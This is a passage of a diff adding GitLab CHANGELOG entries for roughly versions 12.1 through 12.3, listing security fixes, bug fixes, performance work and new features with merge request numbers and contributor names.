+- Restrict MergeRequests#test_reports to authenticated users with read-access on Builds.
+- Ensure only authorised users can create notes on Merge Requests and Issues.
+- Send TODOs for comments on commits correctly.
+- Check permissions before responding in MergeController#pipeline_status.
+- Limit the size of issuable description and comments.
+- Enforce max chars and max render time in markdown math.
+- Speed up regexp in namespace format by failing fast after reaching maximum namespace depth.
+- Add :login_recaptcha_protection_enabled setting to prevent bots from brute-force attacks.
+- Upgrade pages to 1.8.1.
+- Show cross-referenced MR-id in issues' activities only to authorized users.
+
+### Removed (1 change)
+
+- Removed redundant index on releases table. !31487
+
+### Fixed (78 changes, 25 of them are from the community)
+
+- Avoid Devise "401 Unauthorized" responses. !16519
+- Allow close status to be shown on locked issues. !16685
+- Changed todo/done quick actions to work not only for first usage. !16837 (Marc Schwede)
+- Adds missing error handling. !16896 (toptalo)
+- Prevent the user from seeing an invalid "Purchase more minutes" prompt. !16979
+- Fix missing board lists when other users collapse / expand the list. !17318
+- Uses projects_authorizations.access_level in MembersFinder. !28887 (Jacopo Beschi @jacopo-beschi)
+- Let project reporters create issue from group boards. !29866
+- Remove margin from user header. !30878 (lucyfox)
+- Improve application settings API. !31149 (Mathieu Parent)
+- Fix encoding of special characters in "Find File". !31311 (Jan Beckmann)
+- Avoid conflicts between ArchiveTracesCronWorker and ArchiveTraceWorker. !31376
+- Disable "Transfer group" button when no group is selected. !31387 (Jan Beckmann)
+- Prevent archived projects from showing up in global search. !31498 (David Palubin)
+- Fixed embeded metrics tooltip inconsistent styling. !31517
+- Fix 500 errors caused by pattern matching with variables in CI Lint. !31719
+- Fixed removing directories in Web IDE. !31727
+- All of discussion expand/collapse button is clickable. !31730
+- Only show /copy_metadata quick action when usable. !31735 (Lee Tickett)
+- Read pipelines from public projects through API without an access token. !31816
+- fix charts scroll handle icon to use gitlab svg. !31825
+- Remove "Commit" from pipeline status tooltips. !31861
+- Fix top-nav search bar dropdown on xl displays. !31864 (Kemais Ehlers)
+- Fix loading icon causing text to jump in file row of Web IDE. !31884
+- Fix MR reports section loading icon alignment. !31897
+- Fix broken git clone box on wiki git access page. !31898
+- Exempt user gitlab-ci-token from rate limiting. !31909
+- Fix search preserving space when change branch. !31973 (minghuan lei)
+- Fix file header style and position during scroll in a merge conflict resolution. !31991
+- Allow latency measurements of sidekiq jobs taking > 2.5s. !32001
+- Return correct user for manual deployments. !32004
+- Fix style of secondary profile tab buttons. !32010 (Wolfgang Faust)
+- Fix serverless entry page layout. !32029
+- Fix HTML rendering for fast-forward rebases in merge request widget. !32032
+- Update the timestamp in Operations > Environments to show correct deployment date for manual deploy jobs. !32072
+- Fix dropdowns closing when click is released outside the dropdown. !32084
+- Hide duplicate board list while dragging. !32099
+- Don't check external authorization when disabling the service. !32102 (Robert Schilling)
+- Makes custom Pages domain open as external link in new tab. !32130 (jakeburden)
+- Change default visibility level for FogBugz imported projects to Private. !32142
+- Move visual review toolbar code to NPM. !32159
+- Fix parsing of months in time tracking commands. !32165
+- Wrong format on MS teams integration push events with multi line commit messages. !32180 (Massimeddu Cireddu)
+- Guard against deleted project feature entry in project permissions. !32187
+- Fix ref switcher separators from conflicting with branch names. !32198
+- Fix performance bar on Puma. !32213
+- Remove token field from runners edit form. !32231
+- Fix 500 error in CI lint when included templates are an array. !32232
+- Fix users cannot access job detail page when deployable does not exist. !32247
+- Do not translate system notes into author's language. !32264
+- Fix moving issues API failing when text includes commit URLs. !32317
+- Fix issue due notification emails not being threaded correctly. !32325
+- Allow project feature permissions to be overridden during import with override_params. !32348
+- Handle invalid mirror url. !32353 (Lee Tickett)
+- New project milestone primary button. !32355 (Lee Tickett)
+- Display `more information` docs link on error tracking page when users do not have permissions to enable that feature. !32365 (Romain Maneschi)
+- Quick action label must be first in issue comment. !32367 (Romain Maneschi)
+- Fix for missing avatar images dislpayed in commit trailers. !32374 (Jesse Hall @jessehall3)
+- Make it harder to delete issuables accidentally. !32376
+- Replaced vue resource to axios in the Markdown field preview component. !32386 (Prakash Chokalingam @prakash_Chokalingam)
+- Fix create MR from issue using a tag as ref. !32392 (Jacopo Beschi @jacopo-beschi)
+- Add X-GitLab-NotificationReason header to note emails. !32422
+- Expand textarea for CA cert in cluster form. !32508
+- Prevent empty external authorization classification labels from overriding the default label. !32517 (Will Chandler)
+- Allow not resolvable urls when dns rebind protection is disabled. !32523
+- Avoid checking dns rebind protection when validating. !32577
+- Passing job rules downstream and E2E specs for job:rules configuration. !32609
+- Quote branch names in how to merge instructions. !32639 (Lee Tickett)
+- Fix removal of install pods. !32667
+- Fix sharing localStorage with all MRs. !32699
+- Default the asset proxy whitelist to the installation domain. !32703
+- Add some padding to details markdown element. !32716
+- Use `ChronicDuration` in a thread-safe way. !32817
+- Fix watch button styling and notifications buttons consistency. !32827
+- Fix encoding error in MR diffs when using external diffs. !32862 (Hiroyuki Sato)
+- Add bottom margin to snippet title. !32877
+- Bump markdown cache version to fix any incorrect links from asset proxy defaults.
+- Persist `needs:` validation as config error.
+
+### Changed (39 changes, 6 of them are from the community)
+
+- Extend pipeline graph scroll area to full width. !14870
+- Frontend support for saving issue board preferences on the current user. !16421
+- Switch Milestone and Release to a many-to-many relationship. !16517
+- Align project selector search box better with design system. !16795
+- Adds the runners_token of the group if the user that requests the group info is admin of it. !16831 (Ignacio Lorenzo Subirá Otal nachootal@gmail.com)
+- Upgrade to Gitaly v1.65.0. !17135
+- Make flash notifications sticky. !30141
+- Add Issue and Merge Request titles to Todo items. !30435 (Arun Kumar Mohan)
+- Remove wiki page slug dialog step when creating wiki page. !31362
+- Improve system notes for Zoom links. !31410 (Jacopo Beschi @jacopo-beschi)
+- Updated WebIDE default commit options. !31449
+- Remove oauth form from GitHub CI/CD only import authentication. !31488
+- Update assignee (cannot merge) style. !31545
+- Updated latest pipeline tag tooltip to be more descriptive. !31624
+- Add optional label_id parameter to label API for PUT and DELETE. !31804
+- Updates issues REST API to allow extended sort options. !31849
+- Fix to show renamed file in mr. !31888
+- Replaced expand diff icons. !31907
+- Upgrade to Gitaly 1.60.0. !31981
+- Make MR pipeline widget text more descriptive. !32025
+- Fix wording on milestone due date when milestone is due today. !32096
+- Improve search result labels. !32101
+- Limit access request emails to ten most recently active owners or maintainers. !32141
+- Improve chatops help output. !32208
+- Update merge train documentation. !32218
+- Add caret icons to the monitoring dashboard. !32239
+- Install cert-manager v0.9.1. !32243
+- Bring text mail for new issue & MR more in line. !32254
+- Add cluster domain warning. !32260
+- Rename epic column state to state_id. !32270
+- Use moved instead of closed in issue references. !32277 (juliette-derancourt)
+- Standardize use of `content` parameter in snippets API. !32296
+- Show meaningful message on /due quick action with invalid date. !32349 (Jacopo Beschi @jacopo-beschi)
+- Remove dynamically constructed feature flags starting with prometheus_transaction_. !32395 (Jacopo Beschi @jacopo-beschi)
+- Indicate on Issue Status if an Issue was Duplicated. !32472
+- Avoid dns rebinding checks when the domain is whitelisted. !32603
+- Upgrade to Gitaly v1.62.0. !32608
+- Unified presentation of the filter input field for projects listings. !32706
+- Hide resolve thread button from guest. !32859
+
+### Performance (20 changes)
+
+- Lower search counters. !11777
+- Considerably improve the query performance for MR discussions load. !16635
+- Eliminate Gitaly N+1 queries with notes API. !32089
+- Optimise UpdateBuildQueueService. !32095
+- Remove N+1 SQL query loading project feature in dashboard. !32169
+- Reduce the number of SQL requests on MR-show. !32192
+- Makes LFS object linker process OIDs in batches. !32268
+- Preload routes information to fix N+1 issue. !32352
+- Reduce N+1 when doing project export. !32423
+- Skip requesting diverging commit counts if no branches are listed. !32496
+- Support selective highlighting of lines. !32514
+- Replace indexes for counting active users. !32538
+- Create partial index for gitlab-monitor CI metrics. !32546
+- Optimize queries for snippet listings. !32576
+- Preprocess wiki attachments with GitLab-Workhorse. !32663
+- Create index for users.unconfirmed_email. !32664
+- Optimize /admin/applications so that it does not timeout. !32852
+- Replace events index with partial one. !32874
+- Partial index for namespaces.type. !32876
+- Fix member expiration not always working. !32951
+
+### Added (42 changes, 10 of them are from the community)
+
+- Enable modsecurity in nginx-ingress apps. !15774
+- Database table for tracking programming language trends over time. !16491
+- Add DAST full scan domain validation. !16680
+- Add not param to Issues API endpoint. !16748
+- Allow specifying timeout per-job in .gitlab-ci.yml. !16777 (Michał Siwek)
+- Document forwarding CI variables to docker build in Auto DevOps. !16783
+- Add links for latest pipelines. !20865 (Alex Ives)
+- New interruptible attribute for CI/CD jobs. !23464 (Cédric Tabin)
+- API: Promote project labels to group labels. !25218 (Robert Schilling)
+- Introduced Build::Rules configuration for Ci::Build. !29011
+- Notification emails can be signed with SMIME. !30644 (Diego Louzán)
+- Allow milestones to be associated with a release (backend). !30816
+- Enable serving static objects from an external storage. !31025
+- Save collapsed option for board lists in database. !31069
+- Apply quickactions when modifying comments. !31136
+- Add SwaggerUI Pages template for .gitlab-ci.yml. !31183 (mdhtr)
+- Add ability to see project deployments at cluster level (FE). !31575
+- Create component to display area and line charts in monitor dashboards. !31639
+- Add persistance to last choice of projects sorting on projects dashboard page. !31669
+- Run Pipeline button & API for MR Pipelines. !31722
+- Add service to transfer Group Milestones when transferring a Project. !31778
+- Allow $CI_REGISTRY_USER to delete tags. !31796
+- Support adding and removing labels w/ push opts. !31831
+- Enable line charts in dashbaord panels and embedded charts. !31920
+- Add First and Last name columns to User model. !31985
+- Add option to allow OAuth providers to bypass two factor. !31996 (Dodocat)
+- Expose namespace storage statistics with GraphQL. !32012
+- Add usage pings for merge request creating. !32059
+- Add warning about initial deployment delay for GitLab Pages sites. !32122
+- Allow Knative to be installed on group and instance level clusters. !32128
+- Add a close issue slack slash command. !32150
+- Support chat notifications to be fired for protected branches. !32176
+- Add system hooks for project/group membership updates. !32371 (Brandon Williams)
+- Add source and merge_request fields to pipeline event webhook. !32373 (Bian Jiaping)
+- Allow ECDSA certificates for pages domains. !32393
+- Show link to cluster used on job page. !32446
+- Group level JupyterHub. !32512
+- Creates utility parser for the job log. !32555
+- Expose update project service endpoint JSON. !32759
+- Expose 'protected' field for Tag API endpoint. !32790 (Andrea Leone)
+- Create table `alerts_service_data`. !32860
+- Creates base components for the new job log.
+
+### Other (42 changes, 13 of them are from the community)
+
+- Setting NOT NULL constraint to users.private_profile column. !14838
+- Schedule productivity analytics recalculation for EE. !15137
+- Document Lambda deploys via GitLab CI/CD. !16858
+- Add Redis interceptor tracing. !30238
+- Encrypt existing and new deploy tokens. !30679
+- Clean up keyboard shortcuts help modal, removing and adding as needed. !31642
+- Add warning to pages domains that obtaining/deploying SSL certificates through Let's Encrypt can take some time. !31765
+- Add new API method in Api.js: projectUsers. !31801
+- Upgrade babel to 7.5.5. !31819 (Takuya Noguchi)
+- Update docs to reflect the rename of gitlab-monitor to gitlab-exporter. !31901
+- Count comments on commits and merge requests. !31912
+- Resolve Badge counter: Very low contrast between foreground and background colors. !31922
+- Add index to improve group cluster deployments query performance. !31988
+- Replace finished_at with deployed_at for the internal API Deployment entity. !32000
+- Update to GitLab Shell v9.4.0. !32009
+- Default clusters namespace_per_environment column to true. !32139
+- Remove deprecation message for milestone tabs. !32252
+- Refactored Karma spec to Jest for mr_widget_auto_merge_failed. !32282 (Illya Klymov)
+- Update GitLab Runner Helm Chart to 0.8.0. !32289
+- Refactor showStagedIcon property to reflect the behavior its name represents. !32333 (Arun Kumar Mohan)
+- Upgrade pages to 1.8.0. !32334
+- Change prioritized labels empty state message. !32338 (Lee Tickett)
+- make test of note app with comments disabled dry. !32383 (Romain Maneschi)
+- Use new location for gitlab-runner helm charts. !32384
+- Mention in docs how to disable project snippets. !32391 (Jacopo Beschi @jacopo-beschi)
+- delete animation width on global search input. !32399 (Romain Maneschi)
+- Remove vue resource from sidebar service. !32400 (Lee Tickett)
+- Remove vue resource from issue. !32421 (Lee Tickett)
+- Remove vue resource from remove issue. !32425 (Lee Tickett)
+- Remove vue-resource from PerformanceBarService. !32428 (Lee Tickett)
+- Added warning note on the project container registry setting informing users that the registry is public for public projects. !32447
+- Admin dashboard: Fetch and render statistics async. !32449
+- Update GitLab Workhorse to v8.10.0. !32501
+- Remove Users.support_bot column. !32554
+- Add padding to left of "Sort by" in members dropdown. !32602
+- Log errors for failed pipeline creation in PostReceive. !32633
+- Avoid prefilling target branch when source branch is the default one. !32701
+- Bump Kubeclient to 4.4.0. !32811
+- Remove vue-resource from notes service. !32934 (Lee Tickett)
+- Added board name to page title in boards view.
+- Remove vue resource from group service. (Lee Tickett)
+- Updates tooltip of 'detached' label/state.
+
+
+## 12.2.11
+
+- No changes.
+
+## 12.2.8
+
+### Security (1 change)
+
+- Limit search for IID to a type to avoid leaking records with the same IID that the user does not have access to.
+
+
+## 12.2.7
+
+### Security (1 change)
+
+- Fix private feature Elasticsearch leak.
+
+
+## 12.2.6
+
+### Security (11 changes)
+
+- Add a policy check for system notes that may not be visible due to cross references to private items.
+- Display only participants that user has permission to see on milestone page.
+- Do not disclose project milestones on group milestones page when project milestones access is disabled in project settings.
+- Check permissions before showing head pipeline blocking merge requests.
+- Fix new project path being disclosed through unsubscribe link of issue/merge requests.
+- Prevent bypassing email verification using Salesforce.
+- Do not show resource label events referencing not accessible labels.
+- Cancel all running CI jobs triggered by the user who is just blocked.
+- Fix Gitaly SearchBlobs flag RPC injection [Gitaly v1.59.3].
+- Only render fixed number of mermaid blocks.
+- Prevent GitLab accounts takeover if SAML is configured.
+
+
+## 12.2.5
+
+### Security (1 change)
+
+- Upgrade pages to 1.7.2.
+
+
+## 12.2.4
+
+### Fixed (7 changes)
+
+- Add syntax highlighting for line expansion. !31821
+- Fix issuable sidebar icon on notification disabled. !32134
+- Upgrade Mermaid to v8.2.4. !32186
+- Fix Piwik not working. !32234
+- Fix snippets API not working with visibility level. !32286
+- Fix upload URLs in Markdown for users without access to project repository. !32448
+- Update Mermaid to v8.2.6. !32502
+
+### Performance (1 change)
+
+- Fix N+1 Gitaly calls in /api/v4/projects/:id/issues. !32171
+
+
+## 12.2.3
+
+- No changes.
+
+## 12.2.2
+
+### Security (22 changes)
+
+- Ensure only authorised users can create notes on Merge Requests and Issues.
+- Gitaly: ignore git redirects.
+- Add :login_recaptcha_protection_enabled setting to prevent bots from brute-force attacks.
+- Speed up regexp in namespace format by failing fast after reaching maximum namespace depth.
+- Limit the size of issuable description and comments.
+- Send TODOs for comments on commits correctly.
+- Restrict MergeRequests#test_reports to authenticated users with read-access on Builds.
+- Added image proxy to mitigate potential stealing of IP addresses.
+- Filter out old system notes for epics in notes api endpoint response.
+- Avoid exposing unaccessible repo data upon GFM post processing.
+- Fix HTML injection for label description.
+- Make sure HTML text is always escaped when replacing label/milestone references.
+- Prevent DNS rebind on JIRA service integration.
+- Use admin_group authorization in Groups::RunnersController.
+- Prevent disclosure of merge request ID via email.
+- Show cross-referenced MR-id in issues' activities only to authorized users.
+- Enforce max chars and max render time in markdown math.
+- Check permissions before responding in MergeController#pipeline_status.
+- Remove EXIF from users/personal snippet uploads.
+- Fix project import restricted visibility bypass via API.
+- Fix weak session management by clearing password reset tokens after login (username/email) are updated.
+- Fix SSRF via DNS rebinding in Kubernetes Integration.
+
+
+## 12.2.1
+
+### Fixed (2 changes)
+
+- Fix for embedded metrics undefined params. !31975
+- Fix "ERR value is not an integer or out of range" errors. !32126
+
+### Performance (1 change)
+
+- Fix Gitaly N+1 calls with listing issues/MRs via API. !31938
+
+### Fixed (3 changes)
+
+- Fix for embedded metrics undefined params. !31975
+- Fix "ERR value is not an integer or out of range" errors. !32126
+- Prevent duplicated trigger action button.
+
+### Performance (1 change)
+
+- Fix Gitaly N+1 calls with listing issues/MRs via API. !31938
+
+
+## 12.2.0
+
+### Security (4 changes, 1 of them is from the community)
+
+- Update mini_magick to 4.9.5. !31505 (Takuya Noguchi)
+- Upgrade Rugged to 0.28.3. !31794
+- Queries for Upload should be scoped by model.
+- Restrict slash commands to users who can log in.
+
+### Removed (3 changes)
+
+- Remove Kubernetes service integration page. !31365
+- Remove line profiler from performance bar.
+- Remove GC metrics from performance bar.
+
+### Fixed (74 changes, 4 of them are from the community)
+
+- Resolve Incorrect empty state message on Explore projects. !25578
+- Search issuables by iids. !28302 (Riccardo Padovani)
+- Make it easier to find invited group members. !28436
+- fix: updates to include units for the y axis label. !30330
+- Align access permissions for wiki history to those of wiki pages. !30470
+- Add index for issues on relative position, project, and state for manual sorting. !30542
+- Fix suggestion on lines that are not part of an MR. !30606
+- Add empty chart component. !30682
+- Remove blank block from job sidebar. !30754
+- Remove duplicate buttons in diff discussion. !30757
+- Order projects in 'Move issue' dropdown by name. !30778
+- Fix bug in dashboard display of closed milestones. !30820
+- Fixes alignment issues with reports. !30839
+- Ensure visibility icons in group/project listings are grey. !30858
+- Fix admin labels page when there are invalid records. !30885
+- Extra logging for new live trace architecture. !30892
+- Fix pipeline emails not respecting group notification email setting. !30907
+- Handle trailing slashes when generating Jira issue URLs. !30911
+- Optimize relative re-positioning when moving issues. !30938
+- Better support clickable tasklists inside blockquotes. !30952
+- Add space to "merged by" widget. !30972
+- Remove duplicated mapping key in config/locales/en.yml. !30980 (Peter Dave Hello)
+- Update Mermaid to v8.2.3. !30985
+- Use persistent Redis cluster for Workhorse pub/sub notifications. !30990
+- Remove :livesum from RubySampler metrics. !31047
+- Fix pid discovery for Unicorn processes in `PidProvider`. !31056
+- Respect group notification email when sending group access notifications. !31089
+- Default dependency job stage index to Infinity, and correctly report it as undefined in prior stages. !31116
+- Fix incorrect use of message interpolation. !31121
+- Moved labels out of fields on Search page. !31137
+- Ensure Warden triggers after_authentication callback. !31138
+- Fix admin area user access level radio button labels. !31154
+- Ignore Gitaly errors if cache flushing fails on project destruction. !31164
+- Prevent double slash in review apps path. !31212
+- Make pdf.js render CJK characters. !31220
+- Prevent discussion filter from persisting to `Show all activity` when opening links to notes. !31229
+- Improve layout of dropdowns in the metrics dashboard page. !31239
+- Remove pdf.js deprecation warnings. !31253
+- Fix GC::Profiler metrics fetching. !31331
+- Jupyter fixes. !31332 (Amit Rathi)
+- Fix first-time contributor notes not rendering. !31340
+- Fix inline rendering of relative paths to SVGs from the current repository. !31352
+- Make `bin/web_puma` consider RAILS_ENV. !31378
+- Removed extrenal dashboard legend border. !31407
+- Fix visual review app storage keys. !31427
+- Fix flashing conflict warning when editing issues. !31469
+- Fix broken issue links and possible 500 error on cycle analytics page when project name and path are different. !31471
+- Prevent turning plain links into embedded when moving issues. !31489
+- Add a field for released_at to GH importer. !31496
+- Adjust size and align MR-widget loading icon. !31503
+- Fix an issue where clicking outside the MR/branch search box in WebIDE closed the dropdown. !31523
+- Don't attempt to contact registry if it is disabled. !31553
+- Fix IDE new files icon in tree. !31560
+- Fix missing author line (`Created by: <user>`) in MRs/issues/comments of imported Bitbucket Cloud project. !31579
+- Add missing report-uri to CSP config. !31593
+- Fixed display of some sections and externalized all text in the shortcuts modal overlay. !31594
+- Remove extra padding from disabled comment box. !31603
+- Allow CI to clone public projects when HTTP protocol is disabled. !31632
+- error message for general settings. !31636 (Mesut Güneş)
+- Invalidate branches cache on PostReceive. !31653
+- Fix active metric files being wiped after the app starts. !31668
+- Fix :wiki_can_not_be_created_total counter. !31673
+- Fix job logs where style changes were broken down into separate lines. !31674
+- Properly save suggestions in project exports. !31690
+- Fix project avatar image in Slack pipeline notifications. !31788
+- Fix empty error flash message on profile:account page when updating username with username that has already been taken. !31809
+- Fix starrers counts after searching. !31823
+- Fix pipelines not always being created after a push. !31927
+- Fix 500 errors in commits api caused by empty ref_name parameter.
+- Center loading icon in CI action component.
+- Prevents showing 2 tooltips in pipelines table.
+- Fix tag page layout.
+- Prevent duplicated trigger action button.
+- Hides loading spinner in pipelines actions after request has been fullfiled.
+
+### Changed (31 changes, 5 of them are from the community)
+
+- Update cluster page automatically when cluster is created. !27189
+- Add branch/tags/commits dropdown filter on the search page for searching codes. !28282 (minghuan lei)
+- Add support for start_sha to commits API. !29598
+- Maintainers can create subgroups. !29718 (Fabio Papa)
+- Extract Auto DevOps deploy functions into a base image. !30404
+- Add MR form to Visual Review (EE) runtime configuration. !30481
+- Adjust redis cache metrics. !30572
+- Add DS_PIP_DEPENDENCY_PATH option to configure Dependency Scanning for projects using pip. !30762
+- Bring scoped environment variables to core. !30779
+- Add Web IDE Usage Ping for Create SMAU. !30800
+- Update the container scanning CI template to use v12 of the clair scanner. !30809
+- Multiple pipeline support for Commit status. !30828 (Gaetan Semet)
+- Add support for exporting repository type data for LFS objects. !30830
+- Avoid increasing redis counters when usage_ping is disabled. !30949
+- Added navbar searches usage ping counter. !30953
+- Convert githost.log to JSON format. !30967
+- Adjusted the clickable area of collapsed sidebar elements. !30974 (Michel Engelen)
+- Mark push mirrors as failed after 1 hour. !30999
+- Allows masking @ and : characters. !31065
+- Remove incorrect fallback when determining which cluster to use when retrieving MR performance metrics. !31126
+- Retry push mirrors faster when running concurrently, improve error handling when push mirrors fail. !31247
+- Make issue boards importable. !31434 (Jason Colyer)
+- Allow users to resend a confirmation link when the grace period has expired. !31476
+- Remove counts from default labels API responses. !31543
+- Upgrade to Gitaly v1.57.0. !31568
+- Rename githost.log -> git_json.log. !31634
+- Load search result counts asynchronously. !31663
+- feat: adds a download to csv functionality to the dropdown in prometheus metrics. !31679
+- Adjust copy for adding additional members. !31726
+- Upgrade to Gitaly v1.59.0. !31743
+- Filter title, description, and body parameters from logs.
+
+### Performance (17 changes, 1 of them is from the community)
+
+- Add partial index on identities table to speed up LDAP lookups. !26710
+- Improve MembersFinder query performance using UNION. !30451 (Jacopo Beschi @jacopo-beschi)
+- Rake task to cleanup expired ActiveSession lookup keys. !30668
+- Update usage ping cron behavior. !30842
+- Make Bootsnap available via ENABLE_BOOTSNAP=1. !30963
+- Batch processing of commit refs in markdown processing. !31037
+- Use tablesample approximate counting by default. !31048
+- Create index on environments by state. !31231
+- Split MR widget into etag-cached and non-cached serializers. !31354
+- Speed up loading and filtering deploy keys and their projects. !31384
+- Only track Redis calls if Peek is enabled. !31438
+- Only expire tag cache once per push. !31641
+- Reduce Gitaly calls in PostReceive. !31741
+- Eliminate many Gitaly calls in discussions API. !31834
+- Optimize DB indexes for ES indexing of notes. !31846
+- Expire project caches once per push instead of once per ref. !31876
+- Look up upstream commits once before queuing ProcessCommitWorkers.
+
+### Added (51 changes, 11 of them are from the community)
+
+- Make starred projects and starrers of a project publicly visible. !24690
+- Make quick action commands applied banner more useful. !26672 (Jacopo Beschi @jacopo-beschi)
+- Allow Helm to be uninstalled from the UI. !27359
+- Improve pipeline status Slack notifications. !27683
+- Add links to relevant configuration areas in admin area overview. !29306
+- Display project id on project admin page. !29734 (Zsolt Kovari)
+- Display group id on group admin page. !29735 (Zsolt Kovari)
+- Resolve Keyboard shortcut for jump to NEXT unresolved discussion. !30144
+- Personal access tokens are accepted using OAuth2 header format. !30277
+- Add Outbound requests whitelist for local networks. !30350 (Istvan Szalai)
+- Allow multiple Auto DevOps projects to deploy to a single namespace within a k8s cluster. !30360 (James Keogh)
+- Allow Knative to be uninstalled from the UI. !30458
+- Add admin-configurable "Support page URL" link to top Help dropdown menu. !30459 (Diego Louzán)
+- Allow specifying variables when running manual jobs. !30485
+- Use predictable environment slugs. !30551
+- Return an ETag header for the archive endpoint. !30581
+- Add Rate Request Limiter to RawController#show endpoint. !30635
+- Add git blame to GitLab API. !30675 (Oleg Zubchenko)
+- Use separate Kubernetes namespaces per environment. !30711
+- Support remove source branch on merge w/ push options. !30728
+- Deploy serverless apps with gitlabktl. !30740
+- Adjust group level analytics to accept multiple ids. !30744
+- Adds event enum column to DesignsVersions join table. !30745
+- Allow email notifications to be disabled for all members of a group or project. !30755 (Dustin Spicuzza)
+- Export and download CSV from metrics charts. !30760
+- Add API endpoints to return container repositories and tags from the group level. !30817
+- Add support for deferred links in persistent user callouts. !30818
+- Add system notes for when a Zoom call was added/removed from an issue. !30857 (Jacopo Beschi @jacopo-beschi)
+- Count wiki creation, update and delete events. !30864
+- Add new expansion options for merge request diffs. !30927
+- Count snippet creation, update and comment events. !30930
+- Update namespace label for GitLab-managed clusters. !30935
+- UI for disabling group/project email notifications. !30961 (Dustin Spicuzza)
+- Support setting of merge request title and description using git push options. !31068
+- Add new table to store email domain per group. !31071
+- Redirect from a project wiki git route to the project wiki home. !31085
+- Link and embed metrics in GitLab Flavored Markdown. !31106
+- Moves snowplow tracking from ee to ce. !31160 (jejacks0n)
+- Allow Cert-Manager to be uninstalled. !31166
+- Add new outbound network requests application setting for system hooks. !31177
+- Allow links to metrics dashboard at a specific time. !31283
+- Enable embedding of specific metrics charts in GFM. !31304
+- Support creating DAGs in CI config through the `needs` key. !31328
+- Generate shareable link for specific metric charts. !31339
+- Add support for Content-Security-Policy. !31402
+- Add BitBucketServer project import filtering. !31420
+- Embed specific metrics chart in issue. !31644
+- Track page views for cycle analytics show page. !31717
+- Add usage pings for source code pushes. !31734
+- Makes collapsible title clickable in job log.
+- Adds highlight to the collapsible section.
+
+### Other (36 changes, 9 of them are from the community)
+
+- Rewrite `if:` argument in before_action and alike when `only:` is also used. !24412 (George Thomas @thegeorgeous)
+- Create rake tasks for migrating legacy uploads out of deprecated paths. !29409
+- Remove the warning style from the U2F device message in user settings > account. !30119 (matejlatin)
+- Set visibility level 'Private' for restricted 'Internal' imported projects when 'Internal' visibility setting is restricted in admin settings. !30522
+- Change BoardService in favor of boardsStore on board blank state of the component board. !30546 (eduarmreyes)
+- Adds Sidekiq scheduling latency structured logging field. !30784
+- Adds chaos endpoints to Sidekiq. !30814
+- Added multi-select deletion of container registry images. !30837
+- When GitLab import fails during importer user mapping step, add an explicit error message mentioning importer. !30838
+- Add Rugged calls and duration to API and Rails logs. !30871
+- Fixed distorted avatars when resource not reachable. !30904 (Marc Schwede)
+- Update GitLab Runner Helm Chart to 0.7.0. !30950
+- Use Rails 5.2 Redis caching store. !30966
+- Add Rugged calls to performance bar. !30983
+- add color selector to broadcast messages form. !30988
+- Harmonize selections in user settings. !31110 (Marc Schwede)
+- Update rouge to v3.7.0. !31254
+- Update 'Ruby on Rails' project template. !31310
+- Fix mirroring help text. !31348 (jramsay)
+- Enhance style of the shared runners limit. !31386
+- Enables storage statistics for root namespaces on database. !31392
+- Improve quick action error messages. !31451
+- Enable authenticated cookie encryption. !31463
+- Update karma to 4.2.0. !31495 (Takuya Noguchi)
+- Add max_replication_slots to PG HA documentation. !31534
+- Create database tables for the new cycle analytics backend. !31621
+- Updated the detached pipeline badge tooltip text to offer a better explanation. !31626
+- Add Gitaly and Rugged call timing in Sidekiq logs. !31651
+- Fix the style-lint errors and warnings for `app/assets/stylesheets/pages/wiki.scss`. !31656
+- Update GraphicsMagick from 1.3.29 to 1.3.33 for CI tests. !31692 (Takuya Noguchi)
+- Migrate remaining users with null private_profile. !31708
+- Bump Helm to 2.14.3 and kubectl to 1.11.10 for Kubernetes integration. !31716
+- Updated the personal access token api scope description to reflect the permissions it grants. !31759
+- Add finished_at to the internal API Deployment entity. !31808
+- Remove Security Dashboard feature flag. !31820
+- Update Packer.gitlab-ci.yml to use latest image. (Kelly Hair)
+
+
+## 12.1.14
+
+### Security (1 change)
+
+- Limit search for IID to a type to avoid leaking records with the same IID that the user does not have access to.
+
+
+## 12.1.12
+
+### Security (12 changes)
+
+- Add a policy check for system notes that may not be visible due to cross references to private items.
+- Display only participants that user has permission to see on milestone page.
+- Do not disclose project milestones on group milestones page when project milestones access is disabled in project settings.
+- Check permissions before showing head pipeline blocking merge requests.
+- Fix new project path being disclosed through unsubscribe link of issue/merge requests.
+- Prevent bypassing email verification using Salesforce.
+- Do not show resource label events referencing not accessible labels.
+- Cancel all running CI jobs triggered by the user who is just blocked.
+- Fix Gitaly SearchBlobs flag RPC injection.
+- Only render fixed number of mermaid blocks.
+- Prevent GitLab accounts takeover if SAML is configured.
+- Upgrade mermaid to prevent XSS.
+
+
+## 12.1.10
+
+- No changes.
+
+## 12.1.5
+
+### Security (2 changes)
+
+- Upgrade Gitaly to 1.53.2 to prevent revision flag injection exploits.
+- Upgrade pages to 1.7.1 to prevent gitlab api token recovery from cookie.
+
+
+## 12.1.4
+
+### Fixed (3 changes, 1 of them is from the community)
+
+- Properly translate term in projects list. !30958
+- Add exclusive lease to mergeability check process. !31082
+- Fix Docker in Docker (DIND) listen port behavior change by adding DOCKER_TLS_CERTDIR in CI job templates. !31201 (Cameron Boulton)
+
+### Performance (1 change)
+
+- Improve job log rendering performance. !31262
+
+
+## 12.1.3
+
+### Fixed (11 changes)
+
+- Prevent multiple confirmation modals from opening when deleting a repository. !30532
+- Fix the project auto devops API. !30946
+- Fix "Certificate misses intermediates" UI error when enabling Let's Encrypt integration for pages domain. !30995
+- Fix xterm css not loading for environment terminal. !31023
+- Set DOCKER_TLS_CERTDIR in Auto Dev-Ops CI template to fix jobs using Docker-in-Docker. !31078
+- Set DOCKER_TLS_CERTDIR in CI job templates to fix Docker-in-Docker service. !31080
+- Support Docker OCI images. !31127
+- Fix error rendering submodules in MR diffs when there is no .gitmodules. !31162
+- Fix pdf.js rendering pages in the wrong order. !31222
+- Fix exception handling in Gitaly autodetection. !31285
+- Fix bug that caused diffs not to show on MRs with changes to submodules.
+
+### Performance (1 change)
+
+- Optimise import performance. !31045
+
+
+## 12.1.2
+
+### Security (1 change)
+
+- Use source project as permissions reference for MergeRequestsController#pipelines.
+
+### Security (9 changes)
+
+- Restrict slash commands to users who can log in.
+- Patch XSS issue in wiki links.
+- Queries for Upload should be scoped by model.
+- Filter merge request params on the new merge request page.
+- Fix Server Side Request Forgery mitigation bypass.
+- Show badges if pipelines are public otherwise default to project permissions.
+- Do not allow localhost url redirection in GitHub Integration.
+- Do not show moved issue id for users that cannot read issue.
+- Drop feature to take ownership of trigger token.
+
+
+## 12.1.1
+
+- No changes.
+
+## 12.1.0
+
+### Security (11 changes, 2 of them are from the community)
+
